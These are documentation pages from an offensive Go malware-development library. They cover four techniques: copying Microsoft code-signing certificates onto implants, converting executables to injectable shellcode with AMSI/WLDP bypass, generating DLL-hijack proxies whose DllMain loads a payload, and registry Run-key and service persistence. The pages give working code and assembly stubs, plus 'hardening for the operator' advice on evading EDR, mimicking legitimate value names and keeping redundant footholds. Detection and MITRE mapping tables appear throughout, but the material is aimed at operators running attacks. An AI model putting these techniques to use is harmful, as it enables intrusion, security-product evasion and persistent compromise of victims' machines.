Copy(srcPE, dstPE string) error

godoc

Read(srcPE) + Write(dstPE, …) in a single call.

Strip(pePath, dst string) error

godoc

Zero the security directory entry. When dst is non-empty, the removed cert bytes are written there for later restoration.

Import(path string) (*Certificate, error) / (c *Certificate) Export(path string) error

godoc

Persist / re-load raw cert blobs to and from disk so they can travel between operations.

WriteVia / StripVia / ExportVia — operator-controlled write primitive

godoc

Each disk-touching API has a Via variant that takes a stealthopen.Creator. Pass nil for the standard os.Create path; pass a custom Creator to land bytes through transactional NTFS, encrypted streams, ADS, or any other primitive the operator controls. The byte content is identical to the non-Via flavor.

PatchPECheckSum(data []byte) error

godoc

Recomputes IMAGE_OPTIONAL_HEADER.CheckSum using the MS ImageHlp!CheckSumMappedFile algorithm (16-bit rolling-carry sum + file size, CheckSum field masked to zero). Strip and Write call it automatically post-splice; expose it for ad-hoc PE surgery performed outside the cert package.

Examples

Simple — copy a Microsoft cert onto an implant

import "github.com/oioio-space/maldev/pe/cert"

if err := cert.Copy(
    `C:\Windows\System32\notepad.exe`,
    `C:\Users\Public\implant.exe`,
); err != nil {
    panic(err)
}

Composed — morph + cert + presence check

Layer with pe/morph so the static fingerprint is altered before the cert is grafted on.

import (
    "os"

    "github.com/oioio-space/maldev/pe/cert"
    "github.com/oioio-space/maldev/pe/morph"
)

raw, _ := os.ReadFile(`C:\loader.exe`)
raw, _ = morph.UPXMorph(raw)
_ = os.WriteFile(`C:\loader.exe`, raw, 0o644)

_ = cert.Copy(`C:\Windows\System32\notepad.exe`, `C:\loader.exe`)
ok, _ := cert.Has(`C:\loader.exe`) // true

Advanced — round-trip donor selection

Cache the existing cert, try multiple donors, restore on burn.

import (
    "os"

    "github.com/oioio-space/maldev/pe/cert"
)

target := `C:\loader.exe`
_ = cert.Strip(target, `C:\old.cert`)

candidates := []string{
    `C:\Windows\System32\notepad.exe`,
    `C:\Program Files\Google\Chrome\Application\chrome.exe`,
    `C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe`,
}
for _, donor := range candidates {
    _ = cert.Copy(donor, target)
    // run target through the AV under test, observe verdict, decide
}

// Restore original if every candidate burned.
saved, _ := os.ReadFile(`C:\old.cert`)
_ = cert.Write(target, &cert.Certificate{Raw: saved})

See ExampleRead and ExampleCopy.

OPSEC & Detection

ArtefactWhere defenders look
signtool verify /pa <implant.exe> failureAny defender that actually validates signatures sees a chain failure
Modified file size + 8-byte alignment paddingEDR file-write telemetry; unusual delta-from-known-good if the signed donor was hashed earlier
Cert subject / issuer mismatched against the implant's metadata (CompanyName, OriginalFilename)Mature allowlists cross-check signer identity vs VERSIONINFO
Naive Get-AuthenticodeSignature checking only .Status -eq 'Valid'False-negative on the modified cert; common in homebrew scripts

D3FEND counters:

  • D3-EAL — strict allowlisting validates the chain.
  • D3-SEA — cert-blob inspection on submission.

Hardening for the operator:

  • Pair with pe/masquerade so the VERSIONINFO / manifest matches the donor cert's identity.
  • Use a donor whose subject matches the implant's apparent purpose (PowerShell signer for a pwsh.exe lookalike, etc.).
  • Recompute the PE checksum if downstream tooling validates it.
  • Don't deploy where signature chain validation is enforced (Defender ATP, SmartScreen, AppLocker with publisher rules).

MITRE ATT&CK

T-IDNameSub-coverageD3FEND counter
T1553.002Subvert Trust Controls: Code Signingfull — clone a third-party signature blobD3-EAL, D3-SEA

Limitations

  • Signature won't verify. Cryptographic chain validation (signtool verify, SmartScreen, AppLocker publisher rules) catches the substitution.
  • Checksum recomputation handled internally. Strip and Write both call PatchPECheckSum after the splice — the optional-header CheckSum is rebuilt with the MS ImageHlp!CheckSumMappedFile algorithm so downstream verifiers that check it (rare in user-mode, mandatory for kernel drivers) see a self-consistent value. Independent callers can invoke PatchPECheckSum(data) directly after their own splices.
  • No certificate-chain emulation. This is blob copy, not cert forging — for that, look at separate signing pipelines.
  • Validity-window mismatch. Donor certs have NotBefore / NotAfter; an implant deployed outside that window flags as expired even before the chain is checked.

See also

PE-to-Shellcode (Donut)

← pe index · docs/index

TL;DR

Convert a native EXE / DLL, .NET assembly, or scripting payload (VBS / JS / XSL) into position-independent shellcode via the Donut framework — flat byte buffer ready to feed any injection primitive in inject/. Built-in AMSI / WLDP bypass + optional dual-mode (x86 + x64) output. Pure Go, cross-compiles from Linux.

Primer

Windows insists executables live on disk as .exe / .dll files; you can't normally hand the loader a flat byte buffer and say "run this PE". Donut wraps an arbitrary PE (or .NET assembly, or script) with a small position-independent loader stub that bootstraps PE headers in memory, applies relocations, resolves imports, and calls the entry point — all from a flat byte buffer the operator can pass to any injection primitive.

The technique works for native PEs, .NET assemblies (no managed runtime needed on disk — Donut hosts the CLR in process), and scripts (VBScript / JScript / XSL through a built-in mshta-equivalent runner). Output is one buffer regardless of input format, sized roughly +5–10 % over the original.

How It Works

sequenceDiagram
    participant Caller
    participant Donut as "srdi (go-donut)"
    participant Stub as "Loader stub<br>(in-memory)"
    participant Payload as "PE / .NET / Script"

    Caller->>Donut: ConvertFile(path, cfg)
    Donut->>Donut: Parse + classify input
    Donut->>Donut: Compress payload bytes
    Donut->>Donut: Embed AMSI / WLDP bypass
    Donut->>Donut: Attach PIC loader stub
    Donut-->>Caller: shellcode []byte

    Note over Caller,Stub: After injection into target process
    Stub->>Stub: PIC bootstrap (locate self)
    Stub->>Stub: AMSI / WLDP patch (configurable)
    Stub->>Stub: Decompress payload
    Stub->>Payload: Map sections + relocate + resolve imports
    Payload->>Payload: Call entry point

Generated shellcode layout:

[ PIC Donut loader stub ]   ← position-independent x64 / x86 / x84
[ embedded config block ]   ← Arch, Bypass, Method, Class, Params
[ compressed payload ]      ← original PE / .NET / script bytes

Input format matrix

FormatType constantClass requiredMethod required
Native EXEModuleEXE
Native DLLModuleDLLexport name
.NET EXEModuleNetEXE
.NET DLLModuleNetDLLyesyes
VBScriptModuleVBS
JScriptModuleJS
XSLModuleXSL

API Reference

type Arch int / type ModuleType int

godoc

ArchMeaning
ArchX3232-bit only
ArchX6464-bit only (default)
ArchX84dual-mode (32 + 64)

ModuleType values are listed in the matrix above.

type Config

godoc

FieldDescription
ArchTarget architecture (default ArchX64)
TypeInput format (0 = auto-detect from filename in ConvertFile)
Class.NET class name (required for ModuleNetDLL)
Method.NET method or native DLL export to call
ParametersCommand-line passed to the payload
BypassAMSI/WLDP: 1 skip · 2 abort on fail · 3 continue on fail
ThreadRun entry point in a new thread

DefaultConfig() *Config

ArchX64 + ModuleEXE + Bypass = 3.

ConvertFile(path string, cfg *Config) ([]byte, error)

Auto-detect module type from extension when cfg.Type == 0.

ConvertBytes(data []byte, cfg *Config) ([]byte, error)

Convert in-memory PE / script bytes. cfg.Type must be set explicitly.

ConvertDLL(path string, cfg *Config) ([]byte, error) / ConvertDLLBytes(data []byte, cfg *Config) ([]byte, error)

Shorthand wrappers that pin cfg.Type = ModuleDLL.

Examples

Simple — convert a native EXE

import "github.com/oioio-space/maldev/pe/srdi"

cfg := srdi.DefaultConfig()
shellcode, _ := srdi.ConvertFile("payload.exe", cfg)

Composed — DLL with named export

cfg := srdi.DefaultConfig()
cfg.Type = srdi.ModuleDLL
cfg.Method = "ReflectiveLoader"
shellcode, _ := srdi.ConvertDLL("payload.dll", cfg)

Advanced — .NET DLL + dual-mode + remote injection

End-to-end: convert a .NET DLL to dual-mode shellcode, then hand it to inject.NewWindowsInjector with indirect syscalls.

import (
    "github.com/oioio-space/maldev/inject"
    "github.com/oioio-space/maldev/pe/srdi"
    wsyscall "github.com/oioio-space/maldev/win/syscall"
)

cfg := &srdi.Config{
    Arch:   srdi.ArchX84, // dual x86 + x64
    Type:   srdi.ModuleNetDLL,
    Class:  "Loader.Stub",
    Method: "Run",
    Bypass: 3,
}
sc, _ := srdi.ConvertFile("loader.dll", cfg)

icfg := inject.DefaultWindowsConfig(inject.MethodCreateRemoteThread, targetPID)
icfg.SyscallMethod = wsyscall.MethodIndirect

inj, _ := inject.NewWindowsInjector(icfg)
_ = inj.Inject(sc)

See ExampleConvertFile

OPSEC & Detection

ArtefactWhere defenders look
Donut loader stub byte signatureYARA / memory scanners — Defender, MDE, CrowdStrike all carry Donut signatures by default
RWX page allocation in targetBehavioural EDR — Donut's mini-loader writes then executes; RWX is the canonical "shellcode" tell
AMSI / WLDP patch ranges in lsass / current processMicrosoft-Windows-Threat-Intelligence ETW provider
.NET assembly load events without a corresponding .exe on diskETW Microsoft-Windows-DotNETRuntime; Defender flags managed runtime hosting from non-managed processes
Sustained LoadLibraryW / GetProcAddress from a freshly-allocated regionEDR API correlation

D3FEND counters:

  • D3-PA — RWX + execute-from-allocation telemetry.
  • D3-FCA — YARA on the loader stub byte pattern.

Hardening for the operator:

  • Encrypt the shellcode with crypto before the injector writes it to RWX — the stub stays detectable but only after the implant has staged.
  • Use inject's sleep-mask + indirect syscall combination so the stub bytes are absent from memory between callbacks.
  • Avoid ArchX84 unless dual-mode is genuinely required — the larger blob carries both x86 + x64 signatures.

MITRE ATT&CK

T-IDNameSub-coverageD3FEND counter
T1055.001Process Injection: Dynamic-link Library Injectionpartial — produces shellcode for downstream injection (consumer side)D3-PA
T1620Reflective Code Loadingfull — Donut loader stub is a textbook reflective loaderD3-FCA, D3-PA

Limitations

  • Detectable stub. Donut's loader carries a known byte pattern; signature-based YARA + memory scans flag it.
  • RWX allocation. The mini PE loader writes and then executes — RWX is the canonical shellcode tell.
  • No built-in obfuscation. Stub bytes are not encrypted by default; pair with crypto + sleep masking.
  • Windows payloads only. Shellcode generation runs cross-platform; the produced shellcode targets Windows.
  • +5–10% size overhead. Donut compresses the input but adds the loader stub; expect modest growth.

Credits

See also

DLL Proxy Generator

← PE techniques · docs/index

MITRE ATT&CK: T1574.001 — DLL Search Order Hijacking · T1574.002 — DLL Side-Loading D3FEND: D3-PFV — Process File Verification Detection level: very-quiet (offline emitter)


TL;DR

Pure-Go emitter that produces a valid Windows DLL forwarding every export to a legitimate target via the GLOBALROOT absolute-path trick. No MSVC, no MinGW, no toolchain — []byte in, []byte out. Pair with recon/dllhijack for end-to-end discovery + payload-write hijack chains, runnable from any host.

Two emission modes:

  • Forwarder-only (Options.PayloadDLL == ""): single .rdata section, no DllMain. Invisible at runtime once loaded; the real target executes as if loaded directly.
  • + Payload load (Options.PayloadDLL = "evil.dll"): adds a .text section with a 32-byte x64 stub that LoadLibraryA(payload) on DLL_PROCESS_ATTACH, plus an import directory referencing kernel32!LoadLibraryA.

Primer

A DLL hijack works when a victim program loads a DLL from a path the operator can write. The classic problem: writing a working DLL there required either (a) hand-coding C++ + linker pragmas + an MSVC toolchain, or (b) shipping a pre-built proxy and hoping the export set matches.

pe/dllproxy collapses this: hand it the target's name and its export list, get back a complete PE that, when loaded, transparently forwards every call to the real System32 copy. The forwarder uses an absolute path (\\.\GLOBALROOT\SystemRoot\System32\<target>.<export>) so the proxy does not recurse into itself even when deployed alongside the legitimate DLL — the perfect proxy trick from mrexodia/perfect-dll-proxy.

flowchart LR
    A["recon/dllhijack.ScanXxx"] --> B["[]Opportunity"]
    B --> C["pe/parse.Open(target).Exports()"]
    C --> D["[]string export names"]
    D --> E["pe/dllproxy.Generate(target, exports, opts)"]
    E --> F["[]byte proxy DLL"]
    F --> G["os.WriteFile(opp.HijackedPath, …)"]
    G --> H["Victim loads → forwards → real target executes"]

    style E fill:#94a,color:#fff

How It Works

The forwarder-only mode produces a minimal PE32+ image with a single .rdata section. No .text, no .idata, AddressOfEntryPoint = 0 — Windows accepts this layout (a DLL with no entry point loads silently without invoking DllMain, per the PE spec).

The payload-load mode adds a .text section with the DllMain stub, an import directory in .rdata referencing kernel32!LoadLibraryA, and the payload-name string the stub feeds to LoadLibraryA.

File layout

+0x000  DOS header (60 bytes)            e_lfanew = 0x40
+0x040  PE signature "PE\0\0"
+0x044  COFF File Header (20)            Machine = 0x8664, NumberOfSections = 1
+0x058  Optional Header PE32+ (240)      Magic = 0x20B, ImageBase = 0x180000000,
                                          AddressOfEntryPoint = 0,
                                          DllCharacteristics = NX_COMPAT
+0x148  Section Header (40)              ".rdata", flags 0x40000040
+0x170  pad zero to FileAlignment 0x200
+0x200  .rdata content

.rdata content (RVA = 0x1000)

+0       IMAGE_EXPORT_DIRECTORY (40)
+40      AddressOfFunctions[N]            uint32 each — RVA into the same .rdata,
                                           pointing at a forwarder string
+40+4N   AddressOfNames[N]                uint32 — RVA to export name string
+40+8N   AddressOfNameOrdinals[N]         uint16 — identity map (i → i)
+40+10N  DLL name string                  "<targetName>\0"
…        forwarder strings                "\\.\GLOBALROOT\SystemRoot\System32\target.dll.<export>\0"
…        export name strings              "<export>\0"

Forwarder detection

The Windows loader detects a forwarder by RVA range: an export is a forwarder iff its AddressOfFunctions[i] value falls inside the IMAGE_DIRECTORY_ENTRY_EXPORT.VirtualAddress … +Size range. The emitter sizes the data directory to span the entire .rdata content, so every forwarder string sits inside the range automatically.

Sorting

Windows performs a binary search on AddressOfNames when resolving exports by name. The emitter sorts the input list alphabetically before laying out the tables — AddressOfNameOrdinals[i] is always i, the identity map.


API Reference

type Machine uint16
const (
    MachineAMD64 Machine = 0x8664 // PE32+, default and only Phase 1 target
    MachineI386  Machine = 0x14c  // Phase 3, not yet implemented
)
func (m Machine) String() string

type PathScheme int
const (
    PathSchemeGlobalRoot PathScheme = iota // \\.\GLOBALROOT\SystemRoot\System32\target — default
    PathSchemeSystem32                     // C:\Windows\System32\target — recurses if deployed in System32
)
func (p PathScheme) String() string

type Options struct {
    Machine       Machine    // zero → MachineAMD64
    PathScheme    PathScheme // zero → PathSchemeGlobalRoot
    PayloadDLL    string     // when set, embed a DllMain that LoadLibraryA's it
    DOSStub       bool       // emit canonical 128-byte MSVC DOS header + program
    PatchCheckSum bool       // recompute IMAGE_OPTIONAL_HEADER.CheckSum post-assembly
}

type Export struct {
    Name    string  // "" for ordinal-only exports
    Ordinal uint16  // 0 → emitter assigns the next free slot from 1
}

func Generate(targetName string, exports []string, opts Options) ([]byte, error)
func GenerateExt(targetName string, exports []Export, opts Options) ([]byte, error)

Generate is sugar over GenerateExt: it wraps []string into []Export{{Name: n}} and lets the emitter auto-assign ordinals from 1. Use GenerateExt directly when proxying a target with ordinal-only exports (msvcrt, ws2_32, …) or when ordinals must match the legitimate target's table.

Sentinel errors (use errors.Is):

var (
    ErrEmptyExports     // no exports supplied
    ErrEmptyTargetName  // blank target name
    ErrInvalidExport      // entry has neither name nor ordinal, or duplicate ordinals
    ErrUnsupportedMachine // Options.Machine is something other than AMD64 or I386
)

Examples

Simple — bake a proxy for version.dll

import (
    "os"

    "github.com/oioio-space/maldev/pe/dllproxy"
    "github.com/oioio-space/maldev/pe/parse"
)

f, _ := parse.Open(`C:\Windows\System32\version.dll`)
exports, _ := f.Exports()
proxy, _ := dllproxy.Generate("version.dll", exports, dllproxy.Options{})
_ = os.WriteFile(`C:\writable\dir\version.dll`, proxy, 0o644)

Composed — find an opportunity and bake a matching payload

opps, _ := dllhijack.ScanAll(nil)
for _, opp := range opps {
    f, err := parse.Open(opp.LegitimatePath)
    if err != nil { continue }
    exports, _ := f.Exports()
    f.Close()

    proxy, err := dllproxy.Generate(opp.MissingDLL, exports, dllproxy.Options{})
    if err != nil { continue }

    _ = os.WriteFile(opp.HijackedPath, proxy, 0o644)
}

32-bit targets (MachineI386)

Setting Options.Machine = dllproxy.MachineI386 switches the emitter to PE32 output for hijacking legacy WOW64 victims. The forwarder-only path produces a 224-byte optional header (vs 240 for PE32+), IMAGE_FILE_32BIT_MACHINE in the COFF flags, ImageBase 0x10000000, and a 32-bit BaseOfData.

The Phase 2 payload-load path swaps the AMD64 stub for a 28-byte x86 stdcall stub:

mov eax, [esp+8]              ; reason
cmp eax, 1                    ; DLL_PROCESS_ATTACH
jne ret_true
push <payload_str_abs>
call dword ptr [<iat_abs>]
ret_true:
mov eax, 1
ret 0Ch                       ; stdcall: pop 3*4 bytes of args

x86 has no RIP-relative addressing, so the stub embeds absolute virtual addresses (ImageBase + RVA). The emitter keeps IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE off, so the loader honours the embedded ImageBase and the absolutes resolve correctly.

out, err := dllproxy.Generate("version.dll", exports, dllproxy.Options{
    Machine:    dllproxy.MachineI386,
    PayloadDLL: "implant32.dll",
})

Mixed named + ordinal-only exports

Some Windows DLLs (msvcrt, ws2_32, comctl32 in legacy comdlg roles) ship a substantial fraction of exports as ordinal-only — they appear in IMAGE_EXPORT_DIRECTORY.AddressOfFunctions but have no entry in AddressOfNames. Proxying these targets requires the loader to find the right slot when a victim imports target.dll!#42 instead of target.dll!Foo.

import (
    "github.com/oioio-space/maldev/pe/dllproxy"
    "github.com/oioio-space/maldev/pe/parse"
)

f, _ := parse.Open(`C:\Windows\System32\msvcrt.dll`)
entries, _ := f.ExportEntries() // []parse.Export with Name+Ordinal+Forwarder

mapped := make([]dllproxy.Export, len(entries))
for i, e := range entries {
    mapped[i] = dllproxy.Export{Name: e.Name, Ordinal: e.Ordinal}
}

proxy, _ := dllproxy.GenerateExt("msvcrt.dll", mapped, dllproxy.Options{})

The emitter:

  • Sorts entries by ordinal ascending.
  • Sets Base = lowest_ordinal, NumberOfFunctions = highest_ordinal − Base + 1. Sparse slots (ordinals not present in input) leave their AddressOfFunctions entry zero — the loader treats those as "not exported at this ordinal", same as a real DLL.
  • Emits forwarder strings in the form <target>.<name> for named entries and <target>.#<ordinal> for ordinal-only.
  • Builds AddressOfNames from the named subset only, sorted alphabetically (loader binary search).

Advanced — DllMain payload load

proxy, err := dllproxy.Generate(
    target,
    exports,
    dllproxy.Options{PayloadDLL: "implant.dll"},
)

The proxy now contains a tiny x64 entry point that runs once on DLL_PROCESS_ATTACH:

cmp edx, 1                       ; fdwReason == DLL_PROCESS_ATTACH ?
jne ret_true
sub rsp, 28h                     ; Win64 shadow space + 16-byte align
lea rcx, [rip+payload_string]    ; LPCSTR lpLibFileName
call qword ptr [rip+iat_loadlibrarya]
add rsp, 28h
ret_true:
mov eax, 1
ret

The Windows loader resolves the IAT slot for kernel32!LoadLibraryA before our entry point runs, so the indirect call lands directly in kernel32. Failure of LoadLibraryA is silent — the proxy still returns TRUE, the legitimate forwarders still work, the only signal is the absence of the payload.

Advanced — alternate path scheme

PathSchemeSystem32 produces shorter, more readable forwarder strings but recurses into self if deployed in System32. Safe only for hijack opportunities outside System32 (almost all real ones).

proxy, err := dllproxy.Generate(
    "credui.dll",
    exports,
    dllproxy.Options{PathScheme: dllproxy.PathSchemeSystem32},
)

Advanced — MSVC-shaped output (DOS stub + CheckSum)

For deployments where defenders fingerprint on the absence of a real DOS stub or a zero-valued optional-header CheckSum, both flags can be flipped:

proxy, _ := dllproxy.Generate("version.dll", exports, dllproxy.Options{
    DOSStub:       true, // canonical "This program cannot be run in DOS mode."
    PatchCheckSum: true, // ImageHlp!CheckSumMappedFile-equivalent
})

DOSStub bumps e_lfanew from 0x40 to 0x80 and embeds the canonical 128-byte MSVC DOS block. PatchCheckSum reuses pe/cert.PatchPECheckSum after assembly so the field is non-zero and self-consistent.


OPSEC & Detection

PhaseTelemetryCounter
Emission (offline)None — pure Go, no syscalls, no file opens.N/A
File write to opportunity pathFile create event under <writable dir>\<dllname> matches D3-PFV signatures (DLL appearing in non-canonical path next to a PE that imports it).Drop into a path the EDR doesn't actively watch; randomise drop time.
Process load\\.\GLOBALROOT\SystemRoot\System32\… paths in image-load events stand out — most legitimate DLLs are loaded by short module name only.Use PathSchemeSystem32 when System32 redirection is not a concern.
Forwarder strings on diskYARA / static-analysis tools matching the GLOBALROOT prefix.Hex-rotate / RC4 the strings at emission time, decrypt at DllMain (Phase 2 + obfuscation, future work).

MITRE ATT&CK

T-IDNameD3FEND counter
T1574.001Hijack Execution Flow: DLL Search Order HijackingD3-PFV
T1574.002Hijack Execution Flow: DLL Side-LoadingD3-PFV

Limitations

  • COM-private semantics. The MSVC ,PRIVATE linker directive only excludes a symbol from the import library so downstream .lib-based linkers ignore it; at runtime the export is binary-identical to a regular named export. pe/dllproxy does not need a separate code path — pass DllRegisterServer & friends as ordinary Export{Name: …} entries.
  • CheckSum + DOS stub are now opt-in. Options.PatchCheckSum recomputes IMAGE_OPTIONAL_HEADER.CheckSum (via pe/cert.PatchPECheckSum); Options.DOSStub emits the canonical 128-byte MSVC DOS block. Both default to false (preserves the historic minimal-MZ + zero-CheckSum output for callers that don't care).
  • Forwarder paths are plaintext in .rdata — easy YARA target. String obfuscation is a Phase 2 candidate.

See also

  • recon/dllhijack — discovery side of the same chain
  • pe/parse — extracts the input export list
  • mrexodia/perfect-dll-proxy — original GLOBALROOT path trick (C++/Python)
  • namazso/dll-proxy-generator — Rust binary tool we're matching the output shape of

Persistence techniques

← maldev README · docs/index

The persistence/* package tree groups Windows-only mechanisms that re-launch an implant across reboots and user logons. The Mechanism interface is the composition primitive: each sub-package returns a Mechanism, and InstallAll / VerifyAll / UninstallAll operate on a flat slice — operators typically install two or three mechanisms in parallel so failure of any single one (cleanup sweep, AV remediation, EDR auto-roll-back) does not lose persistence.

flowchart TB
    subgraph trig [Triggers]
        LOGON[user logon]
        BOOT[boot]
        SCHED[schedule / time]
        CLICK[user execution]
    end
    subgraph mechs [persistence/*]
        REG[registry<br>HKCU + HKLM<br>Run / RunOnce]
        ST[startup<br>StartUp-folder LNK]
        SCHEDP[scheduler<br>COM ITaskService]
        SVC[service<br>SCM SYSTEM]
        ACC[account<br>local user + admin]
        LNK[lnk<br>shortcut primitive]
    end
    subgraph compose [Composition]
        IFACE[Mechanism interface]
        ALL[InstallAll / VerifyAll / UninstallAll]
    end
    LOGON --> REG
    LOGON --> ST
    LOGON --> SCHEDP
    BOOT --> SVC
    BOOT --> SCHEDP
    SCHED --> SCHEDP
    CLICK --> LNK
    ACC -. companion to .-> SVC
    LNK -. underlying primitive of .-> ST
    REG --> IFACE
    ST --> IFACE
    SCHEDP --> IFACE
    SVC --> IFACE
    IFACE --> ALL

Packages

PackageTech pageDetectionOne-liner
persistence/registryregistry.mdmoderateHKCU + HKLM Run / RunOnce key persistence
persistence/startupstartup-folder.mdmoderateStartUp-folder LNK persistence (user + machine)
persistence/schedulertask-scheduler.mdmoderateCOM-based scheduled tasks; logon / startup / daily / time triggers
persistence/serviceservice.mdnoisyWindows service via SCM (SYSTEM-scope)
persistence/lnklnk.mdquietUnderlying LNK creation primitive (used by startup, also for T1204.002 user-execution traps)
persistence/accountaccount.mdnoisyLocal user account add / delete / group membership

Quick decision tree

You want to…Use
…survive a reboot, no adminregistry.RunKey(HiveCurrentUser, …) or startup.Shortcut
…survive a reboot, machine-wideregistry.RunKey(HiveLocalMachine, …) or startup.InstallMachine
…trigger before user logon (boot / startup)scheduler with WithTriggerStartup or service
…schedule recurring callbacksscheduler.Create with WithTriggerDaily
…run as SYSTEMservice or scheduler with startup trigger
…compose multiple mechanisms with redundancypersistence.InstallAll
…leave a credential that survives implant removalaccount.Add + SetAdmin (loud)
…drop a user-execution trap (Desktop / Quick Launch)lnk.New

Layered redundancy recipe

The canonical "redundant persistence" pattern installs two mechanisms with different telemetry profiles. Loss of one does not lose persistence; the noisier one provides reach, the quieter one provides resilience.

mechs := []persistence.Mechanism{
    // Loud + reach: SYSTEM-scope service, runs at boot.
    service.Service(&service.Config{
        Name:      "WinUpdate",
        BinPath:   `C:\ProgramData\Microsoft\winupdate.exe`,
        StartType: service.StartAuto,
    }),
    // Quiet + resilience: HKCU Run-key, runs at user logon.
    registry.RunKey(registry.HiveCurrentUser, registry.KeyRun,
        "WinUpdateBackup",
        `C:\ProgramData\Microsoft\winupdate.exe`),
}
errs := persistence.InstallAll(mechs)

MITRE ATT&CK

T-IDNamePackagesD3FEND counter
T1547.001Boot or Logon Autostart Execution: Registry Run Keys / Startup Folderpersistence/registry, persistence/startupD3-SICA, D3-FCA
T1547.009Shortcut Modificationpersistence/lnk, persistence/startupD3-FCA
T1053.005Scheduled Task/Job: Scheduled Taskpersistence/schedulerD3-SCA
T1543.003Create or Modify System Process: Windows Servicepersistence/serviceD3-PSA, D3-SICA
T1136.001Create Account: Local Accountpersistence/accountD3-LAM
T1098Account Manipulationpersistence/account (group changes)D3-UAP
T1204.002User Execution: Malicious Filepersistence/lnk (Desktop / Quick Launch traps)D3-FCA

See also

Registry Run / RunOnce persistence

← persistence index · docs/index

TL;DR

Write the implant's path to one of the four canonical Run / RunOnce registry keys (HKCU + HKLM, persistent + one-shot). Windows launches every value at user logon. HKCU does not need admin; HKLM does. Implements persistence.Mechanism for redundant composition.

Primer

Windows reads four registry keys at logon and launches every value as a process command-line. This is one of the oldest and most documented persistence techniques — and one of the most monitored. Its appeal is the trivial install (single RegSetValueEx) and the no-admin HKCU path: even a limited-token implant can self-restart after every reboot.

Run keys persist across reboots; RunOnce keys self-delete after firing once — useful for first-boot bootstrappers that hand off to a more durable mechanism and then vanish.

How It Works

sequenceDiagram
    participant Impl as "Implant"
    participant Reg as "HKCU\…\Run"
    participant Logon as "User logon"
    participant Bin as "Implant binary"

    Impl->>Reg: RegSetValueEx("IntelGraphicsUpdate",<br>"C:\…\winupdate.exe")
    Note over Logon: Reboot / log off + log on
    Logon->>Reg: RegEnumValue
    Reg-->>Logon: each Run value
    Logon->>Bin: CreateProcess(value as cmdline)

Registry paths:

HiveKeyBehaviourAdmin?
HKCUSoftware\Microsoft\Windows\CurrentVersion\Runpersistent, per-userno
HKCUSoftware\Microsoft\Windows\CurrentVersion\RunOnceone-shot, per-userno
HKLMSoftware\Microsoft\Windows\CurrentVersion\Runpersistent, machine-wideyes
HKLMSoftware\Microsoft\Windows\CurrentVersion\RunOnceone-shot, machine-wideyes

RunOnce self-cleanup happens after launch succeeds — values where the binary is missing or fails to launch stay in the registry, which is itself a forensic tell.

API Reference

type Hive int / type KeyType int

godoc

ConstantMaps to
HiveCurrentUserHKEY_CURRENT_USER
HiveLocalMachineHKEY_LOCAL_MACHINE
KeyRun…\CurrentVersion\Run
KeyRunOnce…\CurrentVersion\RunOnce

Functions

SymbolDescription
Set(hive, keyType, name, value)Write the value; create the key if missing
Get(hive, keyType, name)Read a single value
Delete(hive, keyType, name)Remove the value (idempotent)
Exists(hive, keyType, name)Cheap presence probe
RunKey(hive, keyType, name, value) *RunKeyMechanismMechanism adapter for persistence.InstallAll

Sentinel errors

ErrorTrigger
ErrNotFoundGet / Exists on a value that doesn't exist

Examples

Simple — HKCU install + remove

import "github.com/oioio-space/maldev/persistence/registry"

_ = registry.Set(registry.HiveCurrentUser, registry.KeyRun,
    "IntelGraphicsUpdate", `C:\Users\Public\winupdate.exe`)
defer registry.Delete(registry.HiveCurrentUser, registry.KeyRun,
    "IntelGraphicsUpdate")

Composed — Mechanism + idempotent install

m := registry.RunKey(registry.HiveCurrentUser, registry.KeyRun,
    "IntelGraphicsUpdate", `C:\Users\Public\winupdate.exe`)

if exists, _ := registry.Exists(registry.HiveCurrentUser,
    registry.KeyRun, "IntelGraphicsUpdate"); !exists {
    _ = m.Install()
}

Advanced — hive selection + RunOnce bootstrap

Pick HKLM when the implant has admin, otherwise fall back to HKCU; pair with a RunOnce bootstrap that hands off to a service.

import (
    "github.com/oioio-space/maldev/persistence/registry"
    "github.com/oioio-space/maldev/win/privilege"
)

const (
    name    = "IntelGraphicsCompat"
    payload = `C:\Users\Public\Intel\stage1.exe`
)

hive := registry.HiveCurrentUser
if admin, elevated, _ := privilege.IsAdmin(); admin && elevated {
    hive = registry.HiveLocalMachine
}

if exists, _ := registry.Exists(hive, registry.KeyRun, name); exists {
    return
}
_ = registry.Set(hive, registry.KeyRun, name, payload)
_ = registry.Set(hive, registry.KeyRunOnce, name+"_bootstrap",
    payload+" --bootstrap")

See ExampleSet

OPSEC & Detection

ArtefactWhere defenders look
Sysmon Event 13 (registry value set) under …\RunHigh-fidelity rule on every mature EDR; HKCU\…\Run draws less default coverage than HKLM\…\Run
autoruns.exe Run-key listingSysinternals Autoruns is universal IR triage
Defender ASR rule "Block credential stealing" doesn't apply, but ASR "Block persistence through WMI event subscription" detects siblingsEDR rule library
Value name keyed against known IOC list (payload, update, svchost)Naive YARA-style rules on registry value contents
Binary path under user-writable directories (%TEMP%, %APPDATA%\Local\Temp)Defender heuristic — legitimate Run values target installed-software paths
RegEnumValue / RegOpenKeyEx from non-explorer.exeEDR API telemetry; rare unless tooling explicitly polls Run keys

D3FEND counters:

  • D3-SICA — registry change auditing.
  • D3-SEA — Run-key value content inspection.

Hardening for the operator:

  • Prefer HKCU when current-user scope is sufficient — lower default coverage and no admin prompt.
  • Pick value names that mimic real Run-key values (Adobe Updater, Intel Graphics, Microsoft OneDrive) — pair the binary path with a name + path that match.
  • Drop the binary in %PROGRAMDATA%\Microsoft\…\ rather than %TEMP%.
  • Pair with another mechanism via persistence.InstallAll so loss of the Run key (autoruns.exe -e -accepteula -c cleanup) does not lose persistence.
  • For one-shot bootstrappers, use RunOnce so the registry evidence vanishes on first boot.

MITRE ATT&CK

T-IDNameSub-coverageD3FEND counter
T1547.001Boot or Logon Autostart Execution: Registry Run Keys / Startup Folderfull — Run / RunOnce both supportedD3-SICA, D3-SEA

Limitations

  • Logon trigger only. Run keys fire at user logon, not at boot. For pre-logon execution use persistence/service or persistence/scheduler with a Boot / Startup trigger.
  • HKLM admin requirement. Without admin the operator is HKCU-only.
  • No CWD control. Windows launches Run-key values via CreateProcess with the user's profile as CWD; binaries that depend on a specific CWD must encode it via cd /d in the value or read it from a config.
  • Value-name collision. Two implants writing to the same value name cause silent overwrite — pick distinctive names.
  • Visible to standard tooling. regedit, reg query, PowerShell Get-ItemProperty, and autoruns.exe all surface Run-key values. No way to hide a Run-key entry from a thorough triage.

See also

StartUp folder persistence

← persistence index · docs/index

TL;DR

